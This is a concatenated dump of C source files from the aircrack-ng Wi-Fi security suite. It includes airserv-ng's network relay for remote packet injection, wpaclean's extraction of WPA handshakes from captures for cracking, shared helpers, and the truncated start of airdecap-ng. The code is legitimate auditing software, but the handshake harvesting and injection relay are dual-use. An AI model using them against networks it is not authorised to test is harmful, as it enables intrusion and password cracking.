you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep/osdep.h" #include "osdep/network.h" #include "version.h" extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); void sighandler( int signum ) { if( signum == SIGPIPE ) printf("broken pipe!\n"); } struct client { int c_s; char c_ip[16]; struct client *c_next; struct client *c_prev; }; static struct sstate { int ss_s; struct wif *ss_wi; struct client ss_clients; int ss_level; } _ss; static struct sstate *get_ss() { return &_ss; } static void usage(char *p) { if (p) {} printf("\n" " %s - (C) 2007, 2008, 2009 Andrea Bittau\n" " http://www.aircrack-ng.org\n" "\n" " Usage: airserv-ng \n" "\n" " Options:\n" "\n" " -h : This help screen\n" " -p : TCP port to listen on (default:666)\n" " -d : Wifi interface to use\n" " -c : Channel to use\n" " -v : Debug level (1 to 3; default: 1)\n" "\n", getVersion("Airserv-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)); exit(1); } static void debug(struct sstate *ss, struct client *c, int l, char *fmt, ...) { va_list ap; if (ss->ss_level < l) return; printf("[%s] ", c->c_ip); va_start(ap, fmt); vprintf(fmt, ap); va_end(ap); } #if 0 static void print_clients(struct sstate *ss) { struct client *c = ss->ss_clients.c_next; int i = 1; while (c != &ss->ss_clients) { printf("Client %d fd %d\n", i++, c->c_s); c = c->c_next; } } #endif static void client_add(struct sstate *ss, int s, struct sockaddr_in *s_in) { struct client *c; if (!(c = calloc(sizeof(struct client), 1))) err(1, "calloc()"); c->c_s = s; strncpy(c->c_ip, inet_ntoa(s_in->sin_addr), sizeof(c->c_ip)-1); printf("Connect from %s\n", c->c_ip); c->c_prev = &ss->ss_clients; c->c_next = ss->ss_clients.c_next; c->c_next->c_prev = c; ss->ss_clients.c_next = c; } static void client_kill(struct client *c) { c->c_prev->c_next = c->c_next; c->c_next->c_prev = c->c_prev; printf("Death from %s\n", c->c_ip); free(c); c = NULL; } static void card_open(struct sstate *ss, char *dev) { struct wif *wi = wi_open(dev); if (!wi) err(1, "wi_open()"); ss->ss_wi = wi; } static int card_set_chan(struct sstate *ss, int chan) { return wi_set_channel(ss->ss_wi, chan); } static int card_get_chan(struct sstate *ss) { return wi_get_channel(ss->ss_wi); } static int card_set_rate(struct sstate *ss, int rate) { return wi_set_rate(ss->ss_wi, rate); } static int card_get_rate(struct sstate *ss) { return wi_get_rate(ss->ss_wi); } static int card_get_monitor(struct sstate *ss) { return wi_get_monitor(ss->ss_wi); } static int card_read(struct sstate *ss, void *buf, int len, struct rx_info *ri) { int rc; if ((rc = wi_read(ss->ss_wi, buf, len, ri)) == -1) err(1, "wi_read()"); return rc; } static int card_write(struct sstate *ss, void *buf, int len, struct tx_info *ti) { return wi_write(ss->ss_wi, buf, len, ti); } static int card_get_mac(struct sstate *ss, unsigned char *mac) { return wi_get_mac(ss->ss_wi, mac); } static void open_sock(struct sstate *ss, int port) { int s; struct sockaddr_in s_in; int one = 1; s_in.sin_family = PF_INET; s_in.sin_port = htons(port); s_in.sin_addr.s_addr = INADDR_ANY; if ((s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) err(1, "socket()"); if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) == -1) err(1, "setsockopt()"); if (bind(s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) err(1, "bind()"); if (listen(s, 5) == -1) err(1, "listen()"); ss->ss_s = s; } static void open_card_and_sock(struct sstate *ss, char *dev, int port, int chan) { printf("Opening card %s\n", dev); card_open(ss, dev); printf("Setting chan %d\n", chan); if (card_set_chan(ss, chan) == -1) err(1, "card_set_chan()"); printf("Opening sock port %d\n", port); open_sock(ss, port); printf("Serving %s chan %d on port %d\n", dev, chan, port); } static void net_send_kill(struct client *c, int cmd, void *data, int len) { if (net_send(c->c_s, cmd, data, len) == -1) client_kill(c); } static void handle_set_chan(struct sstate *ss, struct client *c, unsigned char *buf, int len) { uint32_t chan; uint32_t rc; if (len != sizeof(chan)) { client_kill(c); return; } chan = *((uint32_t*)buf); chan = ntohl(chan); debug(ss, c, 2, "Got setchan %d\n", chan); rc = card_set_chan(ss, chan); rc = htonl(rc); net_send_kill(c, NET_RC, &rc, sizeof(rc)); } static void handle_set_rate(struct sstate *ss, struct client *c, unsigned char *buf, int len) { uint32_t rate; uint32_t rc; if (len != sizeof(rate)) { client_kill(c); return; } rate = *((uint32_t*)buf); rate = ntohl(rate); debug(ss, c, 2, "Got setrate %d\n", rate); rc = card_set_rate(ss, rate); rc = htonl(rc); net_send_kill(c, NET_RC, &rc, sizeof(rc)); } static void handle_get_mac(struct sstate *ss, struct client *c) { unsigned char mac[6]; int rc; rc = card_get_mac(ss, mac); if (rc == -1) { uint32_t x = htonl(rc); net_send_kill(c, NET_RC, &x, sizeof(x)); } else net_send_kill(c, NET_MAC, mac, 6); } static void handle_get_chan(struct sstate *ss, struct client *c) { int rc = card_get_chan(ss); uint32_t chan; chan = htonl(rc); net_send_kill(c, NET_RC, &chan, sizeof(chan)); } static void handle_get_rate(struct sstate *ss, struct client *c) { int rc = card_get_rate(ss); uint32_t rate; rate = htonl(rc); net_send_kill(c, NET_RC, &rate, sizeof(rate)); } static void handle_get_monitor(struct sstate *ss, struct client *c) { int rc = card_get_monitor(ss); uint32_t x; x = htonl(rc); net_send_kill(c, NET_RC, &x, sizeof(x)); } static void handle_write(struct sstate *ss, struct client *c, void *buf, int len) { struct tx_info *ti = buf; void *hdr = (ti+1); int rc; uint32_t x; len -= sizeof(*ti); debug(ss, c, 2, "Relaying %d bytes packet from client\n", len); rc = card_write(ss, hdr, len, ti); x = htonl(rc); net_send_kill(c, NET_RC, &x, sizeof(x)); } static void handle_client(struct sstate *ss, struct client *c) { unsigned char buf[2048]; int len = sizeof(buf); int cmd; cmd = net_get(c->c_s, buf, &len); if (cmd == -1) { debug(ss, c, 2, "handle_client: net_get()\n"); client_kill(c); return; } /* figure out command */ switch (cmd) { case NET_SET_CHAN: handle_set_chan(ss, c, buf, len); break; case NET_SET_RATE: handle_set_rate(ss, c, buf, len); break; case NET_GET_MAC: handle_get_mac(ss, c); break; case NET_GET_CHAN: handle_get_chan(ss, c); break; case NET_GET_RATE: handle_get_rate(ss, c); break; case NET_GET_MONITOR: handle_get_monitor(ss, c); break; case NET_WRITE: handle_write(ss, c, buf, len); break; default: printf("Unknown request %d\n", cmd); client_kill(c); break; } } static void handle_server(struct sstate *ss) { int dude; struct sockaddr_in s_in; socklen_t len; len = sizeof(s_in); if ((dude = accept(ss->ss_s, (struct sockaddr*) &s_in, &len)) == -1) err(1, "accept()"); client_add(ss, dude, &s_in); } static void client_send_packet(struct sstate *ss, struct client *c, unsigned char *buf, int rd) { /* XXX check if TX will block */ if (rd == -1) { uint32_t rc = htonl(rd); debug(ss, c, 3, "Sending result code %d to client\n", rd); net_send_kill(c, NET_RC, &rc, sizeof(rc)); } else { debug(ss, c, 3, "Sending %d bytes packet to client\n", rd); net_send_kill(c, NET_PACKET, buf, rd); } } static void handle_card(struct sstate *ss) { unsigned char buf[2048]; int rd; struct rx_info *ri = (struct rx_info*) buf; struct client *c; rd = card_read(ss, ri + 1, sizeof(buf) - sizeof(*ri), ri); if (rd >= 0) rd += sizeof(*ri); ri->ri_mactime = __cpu_to_be64(ri->ri_mactime); ri->ri_power = __cpu_to_be32(ri->ri_power); ri->ri_noise = __cpu_to_be32(ri->ri_noise); ri->ri_channel = __cpu_to_be32(ri->ri_channel); ri->ri_rate = __cpu_to_be32(ri->ri_rate); ri->ri_antenna = __cpu_to_be32(ri->ri_antenna); c = ss->ss_clients.c_next; while (c != &ss->ss_clients) { client_send_packet(ss, c, buf, rd); if (c == NULL) break; c = c->c_next; } } static void serv(struct sstate *ss, char *dev, int port, int chan) { int max; fd_set fds; struct client *c; struct client *next; int card_fd; open_card_and_sock(ss, dev, port, chan); card_fd = wi_fd(ss->ss_wi); while (1) { /* server */ max = ss->ss_s; FD_ZERO(&fds); FD_SET(max, &fds); /* clients */ c = ss->ss_clients.c_next; while (c != &ss->ss_clients) { FD_SET(c->c_s, &fds); if (c->c_s > max) max = c->c_s; c = c->c_next; } /* card */ FD_SET(card_fd, &fds); if (card_fd > max) max = card_fd; if (select(max+1, &fds, NULL, NULL, NULL) == -1) err(1, "select()"); /* handle clients */ c = ss->ss_clients.c_next; while (c != &ss->ss_clients) { next = c->c_next; if (FD_ISSET(c->c_s, &fds)) handle_client(ss, c); c = next; } /* handle server */ if (FD_ISSET(ss->ss_s, &fds)) handle_server(ss); if (FD_ISSET(card_fd, &fds)) handle_card(ss); } } int main(int argc, char *argv[]) { char *device = NULL; int port = 666; int ch; int chan = 1; struct sstate *ss = get_ss(); memset(ss, 0, sizeof(*ss)); ss->ss_clients.c_next = ss->ss_clients.c_prev = &ss->ss_clients; while ((ch = getopt(argc, argv, "p:d:hc:v:")) != -1) { switch (ch) { case 'p': port = atoi(optarg); break; case 'd': device = optarg; break; case 'v': ss->ss_level = atoi(optarg); break; case 'c': chan = atoi(optarg); break; case 'h': default: usage(argv[0]); break; } } signal(SIGPIPE, sighandler); if (!device || chan <= 0) usage(argv[0]); serv(ss, device, port, chan); exit(0); } aircrack-ng-1.2-beta3/src/wpaclean.c0000644000000000000000000004045212141217555015764 0ustar rootroot/* * Copyright (C) 2011 Andrea Bittau * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include #include #include #include #include "aircrack-ng.h" #include "version.h" #include "aircrack-ptw-lib.h" #include "osdep/osdep.h" #include "ieee80211.h" #include "crypto.h" #include "pcap.h" static uchar ZERO[32] = "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00"; struct packet { unsigned char p_data[2048]; int p_len; }; struct client { unsigned char c_mac[6]; int c_wpa; int c_wpa_got; struct packet c_handshake[4]; struct client *c_next; }; struct network { unsigned char n_bssid[6]; unsigned char n_beacon[2048]; int n_beaconlen; char n_ssid[256]; struct client n_clients; struct client *n_handshake; struct network *n_next; } _networks; static int _outfd; static int open_pcap(char *fname) { int fd; struct pcap_file_header pfh; memset(&pfh, 0, sizeof(pfh)); pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = LINKTYPE_IEEE802_11; fd = open(fname, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (fd == -1) err(1, "open(%s)", fname); if (write(fd, &pfh, sizeof(pfh)) != sizeof(pfh)) err(1, "write()"); return fd; } static void write_pcap(int fd, void *p, int len) { struct pcap_pkthdr pkh; memset(&pkh, 0, sizeof(pkh)); pkh.caplen = pkh.len = len; pkh.tv_sec = 0; pkh.tv_usec = 0; if (write(fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()"); if (write(fd, p, len) != len) err(1, "write()"); } static void packet_write_pcap(int fd, struct packet *p) { write_pcap(fd, p->p_data, p->p_len); } static void print_network(struct network *n) { printf("Net %.2x:%.2x:%.2x:%.2x:%.2x:%.2x %s\n", n->n_bssid[0], n->n_bssid[1], n->n_bssid[2], n->n_bssid[3], n->n_bssid[4], n->n_bssid[5], n->n_ssid); } static void save_network(struct network *n) { int i; write_pcap(_outfd, n->n_beacon, n->n_beaconlen); for (i = 0; i < 4; i++) { struct packet *p = &n->n_handshake->c_handshake[i]; if (p->p_len) packet_write_pcap(_outfd, p); } } static void fix_beacon(struct network *n) { unsigned char *p; int ssidlen; int origlen; /* beacon surgery */ p = n->n_beacon + sizeof(struct ieee80211_frame) + 8 + 2 + 2; ssidlen = strlen(n->n_ssid); assert((n->n_beaconlen + ssidlen) <= (int) sizeof(n->n_beacon)); assert(*p == IEEE80211_ELEMID_SSID); p++; if (*p != 0 && p[1] != 0) return; origlen = *p; *p++ = ssidlen; assert(origlen == 0 || p[0] == 0); memmove(p + ssidlen, p + origlen, n->n_beaconlen - (p + origlen - n->n_beacon)); memcpy(p, n->n_ssid, ssidlen); n->n_beaconlen += ssidlen - origlen; } static void check_network(struct network *n) { if (!n->n_beaconlen || !n->n_handshake || !n->n_ssid[0]) return; fix_beacon(n); print_network(n); save_network(n); } static struct network *find_net(unsigned char *b) { struct network *n = _networks.n_next; while (n) { if (memcmp(b, n->n_bssid, sizeof(n->n_bssid)) == 0) return n; n = n->n_next; } return NULL; } static struct network *net_add(unsigned char *bssid) { struct network *n = malloc(sizeof(*n)); if (!n) err(1, "malloc()"); memset(n, 0, sizeof(*n)); memcpy(n->n_bssid, bssid, sizeof(n->n_bssid)); n->n_next = _networks.n_next; _networks.n_next = n; return n; } static struct network *find_add_net(unsigned char *bssid) { struct network *n; n = find_net(bssid); if (n) return n; return net_add(bssid); } static struct client *find_client(struct network *n, unsigned char *mac) { struct client *c = n->n_clients.c_next; while (c) { if (memcmp(c->c_mac, mac, sizeof(c->c_mac)) == 0) return c; c = c->c_next; } return NULL; } static struct client *find_add_client(struct network *n, unsigned char *mac) { struct client *c; c = find_client(n, mac); if (c) return c; c = malloc(sizeof(*c)); if (!c) err(1, "malloc()"); memset(c, 0, sizeof(*c)); memcpy(c->c_mac, mac, sizeof(c->c_mac)); c->c_next = n->n_clients.c_next; n->n_clients.c_next = c; return c; } #if 0 static void hexdump(void *p, int len) { unsigned char *x = p; while (len--) printf("%.2x ", *x++); printf("\n"); } #endif static int parse_rsn(unsigned char *p, int l, int rsn) { int c; unsigned char *start = p; int psk = 0; int wpa = 0; if (l < 2) return 0; if (memcmp(p, "\x01\x00", 2) != 0) return 0; wpa = 1; if (l < 8) return -1; p += 2; p += 4; /* cipher */ c = le16toh(*((uint16_t*) p)); p += 2 + 4 * c; if (l < ((p - start) + 2)) return -1; /* auth */ c = le16toh(*((uint16_t*) p)); p += 2; if (l < ((p - start) + c * 4)) return -1; while (c--) { if (rsn && memcmp(p, "\x00\x0f\xac\x02", 4) == 0) psk++; if (!rsn && memcmp(p, "\x00\x50\xf2\x02", 4) == 0) psk++; p += 4; } assert(l >= (p - start)); if (!psk) wpa = 0; return wpa; } static int parse_elem_vendor(unsigned char *e, int l) { struct ieee80211_ie_wpa *wpa = (struct ieee80211_ie_wpa*) e; if (l < 5) return 0; if (memcmp(wpa->wpa_oui, "\x00\x50\xf2", 3) != 0) return 0; if (l < 8) return 0; if (wpa->wpa_type != WPA_OUI_TYPE) return 0; return parse_rsn((unsigned char*) &wpa->wpa_version, l - 6, 0); } static void process_beacon(struct ieee80211_frame *wh, int totlen) { unsigned char *p = (unsigned char*) (wh + 1); int bhlen = 8 + 2 + 2; int len = totlen; char ssid[256]; int wpa = 0; int rc; int ssids = 0; int hidden = 0; struct network *n; totlen -= sizeof(*wh); if (totlen < bhlen) goto __bad; if (!(IEEE80211_BEACON_CAPABILITY(p) & IEEE80211_CAPINFO_PRIVACY)) return; p += bhlen; totlen -= bhlen; ssid[0] = 0; while (totlen > 2) { int id = *p++; int l = *p++; totlen -= 2; if (totlen < l) goto __bad; switch (id) { case IEEE80211_ELEMID_SSID: if (++ssids > 1) break; if (l == 0 || p[0] == 0) hidden = 1; else { memcpy(ssid, p, l); ssid[l] = 0; } break; case IEEE80211_ELEMID_VENDOR: if ((rc = parse_elem_vendor(&p[-2], l + 2)) == -1) goto __bad; if (rc) wpa = 1; break; case IEEE80211_ELEMID_RSN: if ((rc = parse_rsn(p, l, 1)) == -1) goto __bad; if (rc) wpa = 1; break; } p += l; totlen -= l; } if (!wpa) return; #if 0 if (hidden) { printf("Hidden SSID\n"); return; } #endif n = find_add_net(wh->i_addr3); if (n->n_beaconlen) return; n->n_beaconlen = len; assert(n->n_beaconlen <= (int) sizeof(n->n_beacon)); memcpy(n->n_beacon, wh, n->n_beaconlen); strcpy(n->n_ssid, ssid); #if 0 printf("got beacon [%s]\n", n->n_ssid); #endif check_network(n); return; __bad: printf("bad beacon\n"); } static int eapol_handshake_step(unsigned char *eapol, int len) { int eapol_size = 4 + 1 + 2 + 2 + 8 + 32 + 16 + 8 + 8 + 16 + 2; if (len < eapol_size) return 0; /* not pairwise */ if ((eapol[6] & 0x08) == 0) return 0; /* 1: has no mic */ if ((eapol[5] & 1) == 0) return 1; /* 3: has ack */ if ((eapol[6] & 0x80) != 0) return 3; if (*((uint16_t*) &eapol[eapol_size - 2]) == 0) return 4; return 2; } static void packet_copy(struct packet *p, void *d, int len) { assert(len <= (int) sizeof(p->p_data)); p->p_len = len; memcpy(p->p_data, d, len); } static void process_eapol(struct network *n, struct client *c, unsigned char *p, int len, struct ieee80211_frame *wh, int totlen) { int num, i; num = eapol_handshake_step(p, len); if (num == 0) return; /* reset... should use time, too. XXX conservative - check retry */ if (c->c_wpa == 0 || num <= c->c_wpa) { for (i = 0; i < 4; i++) c->c_handshake[i].p_len = 0; c->c_wpa_got = 0; } c->c_wpa = num; switch (num) { case 1: c->c_wpa_got |= 1; break; case 2: c->c_wpa_got |= 2; c->c_wpa_got |= 4; break; case 3: if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 1; c->c_wpa_got |= 4; break; case 4: if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 2; c->c_wpa_got |= 4; break; default: abort(); } packet_copy(&c->c_handshake[num - 1], wh, totlen); if (c->c_wpa_got == 7) n->n_handshake = c; } static void process_data(struct ieee80211_frame *wh, int len) { unsigned char *p = (unsigned char*) (wh + 1); struct llc* llc; int wep = wh->i_fc[1] & IEEE80211_FC1_WEP; int eapol = 0; struct client *c; int stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; int orig = len; unsigned char *bssid, *clientaddr; struct network *n; len -= sizeof(*wh); if (stype == IEEE80211_FC0_SUBTYPE_QOS) { p += 2; len -= 2; } if (!wep && len >= 8) { llc = (struct llc*) p; eapol = memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8) == 0; p += 8; len -= 8; } if (!eapol) return; if (len < 5) return; /* type == key */ if (p[1] != 0x03) return; /* desc == WPA or RSN */ if (p[4] != 0xFE && p[4] != 0x02) return; bssid = wh->i_addr1; clientaddr = wh->i_addr2; if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) { bssid = wh->i_addr2; clientaddr = wh->i_addr1; } else if (!(wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)) bssid = wh->i_addr3; /* IBSS */ n = find_add_net(bssid); if (n->n_handshake) return; c = find_add_client(n, clientaddr); process_eapol(n, c, p, len, wh, orig); if (n->n_handshake) check_network(n); } static void grab_hidden_ssid(unsigned char *bssid, struct ieee80211_frame *wh, int len, int off) { struct network *n; unsigned char *p = ((unsigned char *)(wh + 1)) + off; int l; n = find_net(bssid); if (n && n->n_ssid[0]) return; len -= sizeof(*wh) + off + 2; if (len < 0) goto __bad; if (*p++ != IEEE80211_ELEMID_SSID) goto __bad; l = *p++; if (l > len) goto __bad; if (l == 0) return; if (!n) n = net_add(bssid); memcpy(n->n_ssid, p, l); n->n_ssid[l] = 0; check_network(n); return; __bad: printf("bad grab_hidden_ssid\n"); return; } static void process_packet(void *packet, int len) { struct ieee80211_frame *wh = (struct ieee80211_frame*) packet; #if 0 printf("GOT %d\n", len); hexdump(packet, len); #endif if (len < (int) sizeof(*wh)) return; switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) { case IEEE80211_FC0_TYPE_MGT: switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) { case IEEE80211_FC0_SUBTYPE_BEACON: process_beacon(wh, len); break; case IEEE80211_FC0_SUBTYPE_ASSOC_REQ: grab_hidden_ssid(wh->i_addr3, wh, len, 2 + 2); break; case IEEE80211_FC0_SUBTYPE_REASSOC_REQ: grab_hidden_ssid(wh->i_addr3, wh, len, 2 + 2 + 6); break; case IEEE80211_FC0_SUBTYPE_PROBE_RESP: grab_hidden_ssid(wh->i_addr3, wh, len, 8 + 2 + 2); break; } break; case IEEE80211_FC0_TYPE_DATA: process_data(wh, len); break; } } static void pwn(char *fname) { struct wif *wi; char crap[2048]; int rc; snprintf(crap, sizeof(crap), "file://%s", fname); wi = wi_open(crap); if (!wi) { printf("Bad file - skipping %s\n", fname); return; } while ((rc = wi_read(wi, (unsigned char*) crap, sizeof(crap), NULL)) > 0) process_packet(crap, rc); wi_close(wi); } int main(int argc, char *argv[]) { char *out; int i; if (argc < 3) { printf("Usage: %s [in2.cap] [...]\n", argv[0]); exit(1); } out = argv[1]; _outfd = open_pcap(out); for (i = 2; i < argc; i++) { char *in = argv[i]; int prog = (int) (((double) (i - 1)) / ((double)(argc - 2)) * 100.0); printf("Pwning %s (%d/%d %d%%)\n", in, i - 1, argc - 2, prog); fflush(stdout); pwn(in); } printf("Done\n"); exit(0); } aircrack-ng-1.2-beta3/src/common.c0000644000000000000000000002057712153517342015470 0ustar rootroot/* * Common functions for all aircrack-ng tools * * Copyright (C) 2006-2013 Thomas d'Otreppe * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include #include #include #include #define isHex(c) (hexToInt(c) != -1) #define HEX_BASE 16 int get_ram_size(void) { FILE *fp; char str[256]; int val = 0; int ret = -1; if (!(fp = fopen("/proc/meminfo", "r"))) { perror("fopen fails"); return ret; } memset(str, 0x00, sizeof(str)); while ((fscanf(fp, "%s %d", str, &val)) != 0 && ret == -1) { if (!(strncmp(str, "MemTotal", 8))) { ret = val; } } fclose(fp); return ret; } /* Return the version number */ char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc) { int len; char * temp; char * provis = calloc(1,20); len = strlen(progname) + 200; temp = (char *) calloc(1,len); snprintf(temp, len, "%s %d.%d", progname, maj, min); if (submin > 0) { snprintf(provis, 20,".%d",submin); strncat(temp, provis, len - strlen(temp)); memset(provis,0,20); } if (rc > 0) { snprintf(provis, 20, " rc%d", rc); strncat(temp, provis, len - strlen(temp)); memset(provis, 0, 20); } else if (beta > 0) { snprintf(provis, 20, " beta%d", beta); strncat(temp, provis, len - strlen(temp)); memset(provis, 0, 20); } if (svnrev > 0) { snprintf(provis, 20," r%d",svnrev); strncat(temp, provis, len - strlen(temp)); memset(provis, 0, 20); } free(provis); temp = realloc(temp, strlen(temp)+1); return temp; } // Return the number of cpu. If detection fails, it will return -1; int get_nb_cpus() { // Optmization for windows: use GetSystemInfo() char * s, * pos; FILE * f; int number = -1; // Reading /proc/cpuinfo is more reliable on current CPUs, // so put it first and try the old method if this one fails f = fopen("/proc/cpuinfo", "r"); if (f != NULL) { s = (char *)calloc(1, 81); if (s != NULL) { // Get the latest value of "processor" element // and increment it by 1 and it that value // will be the number of CPU. number = -2; while (fgets(s, 80, f) != NULL) { pos = strstr(s, "processor"); if (pos == s) { pos = strchr(s, ':'); number = atoi(pos + 1); } } ++number; free(s); } fclose(f); } #ifdef _SC_NPROCESSORS_ONLN // Try the usual method if _SC_NPROCESSORS_ONLN exist if (number == -1) { number = sysconf(_SC_NPROCESSORS_ONLN); /* Fails on some archs */ if (number < 1) { number = -1; } } #endif return number; } //compares two MACs int maccmp(unsigned char *mac1, unsigned char *mac2) { int i=0; if(mac1 == NULL || mac2 == NULL) return -1; for(i=0; i<6; i++) { if( toupper(mac1[i]) != toupper(mac2[i]) ) return -1; } return 0; } // Converts a mac address in a human-readable format char * mac2string(unsigned char *mac_address ) { char * mac_string = (char *)malloc(sizeof(char)*18); snprintf(mac_string, 18, "%02X:%02X:%02X:%02X:%02X:%02X", *mac_address, *(mac_address+1), *(mac_address+2), *(mac_address+3), *(mac_address+4), *(mac_address+5)); return mac_string; } /* Return -1 if it's not an hex value and return its value when it's a hex value */ int hexCharToInt(unsigned char c) { static int table_created = 0; static int table[256]; int i; if (table_created == 0) { /* * It may seem a bit long to calculate the table * but character position depend on the charset used * Example: EBCDIC * but it's only done once and then conversion will be really fast */ for (i=0; i < 256; i++) { switch ((unsigned char)i) { case '0': table[i] = 0; break; case '1': table[i] = 1; break; case '2': table[i] = 2; break; case '3': table[i] = 3; break; case '4': table[i] = 4; break; case '5': table[i] = 5; break; case '6': table[i] = 6; break; case '7': table[i] = 7; break; case '8': table[i] = 8; break; case '9': table[i] = 9; break; case 'A': case 'a': table[i] = 10; break; case 'B': case 'b': table[i] = 11; break; case 'C': case 'c': table[i] = 12; break; case 'D': case 'd': table[i] = 13; break; case 'E': case 'e': table[i] = 14; break; case 'F': case 'f': table[i] = 15; break; default: table[i] = -1; } } table_created = 1; } return table[c]; } int hexStringToHex(char* in, int length, unsigned char* out) { int i=0; int char1, char2; char *input=in; unsigned char *output=out; if(length < 1) return 1; for(i=0; i 15) return -1; output[i/2] = ((char1 << 4) + char2) & 0xFF; } return (i/2); } //Return the mac address bytes (or null if it's not a mac address) int getmac(char * macAddress, int strict, unsigned char * mac) { char byte[3]; int i, nbElem, n; if (macAddress == NULL) return 1; /* Minimum length */ if ((int)strlen(macAddress) < 12) return 1; memset(mac, 0, 6); byte[2] = 0; i = nbElem = 0; while (macAddress[i] != 0) { if (macAddress[i] == '\n' || macAddress[i] == '\r') break; byte[0] = macAddress[i]; byte[1] = macAddress[i+1]; if (sscanf( byte, "%x", &n ) != 1 && strlen(byte) == 2) return 1; if (hexCharToInt(byte[1]) < 0) return 1; mac[nbElem] = n; i+=2; nbElem++; if (macAddress[i] == ':' || macAddress[i] == '-' || macAddress[i] == '_') i++; } if ((strict && nbElem != 6) || (!strict && nbElem > 6)) return 1; return 0; } // Read a line of characters inputted by the user int readLine(char line[], int maxlength) { int c; int i = -1; do { // Read char c = getchar(); if (c == EOF) c = '\0'; line[++i] = (char)c; if (line[i] == '\n') break; if (line[i] == '\r') break; if (line[i] == '\0') break; } while (i + 1 < maxlength); // Stop at 'Enter' key pressed or EOF or max number of char read // Return current size return i; } int hexToInt(char s[], int len) { int i = 0; int convert = -1; int value = 0; // Remove leading 0 (and also the second char that can be x or X) while (i < len) { if (s[i] != '0' || (i == 1 && toupper((int)s[i]) != 'X')) break; ++i; } // Convert to hex while (i < len) { convert = hexCharToInt((unsigned char)s[i]); // If conversion failed, return -1 if (convert == -1) return -1; value = (value * HEX_BASE) + convert; ++i; } return value; } aircrack-ng-1.2-beta3/src/airdecap-ng.c0000644000000000000000000006747112313652310016347 0ustar rootroot/* * 802.11 to Ethernet pcap translator * * Copyright (C) 2006-2013 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include #include "version.h" #include "crypto.h" #include "pcap.h" #include "osdep/byteorder.h" #include "common.h" #define CRYPT_NONE 0 #define CRYPT_WEP 1 #define CRYPT_WPA 2 extern char * getVersion(char * progname, int maj, int min, int submin, int 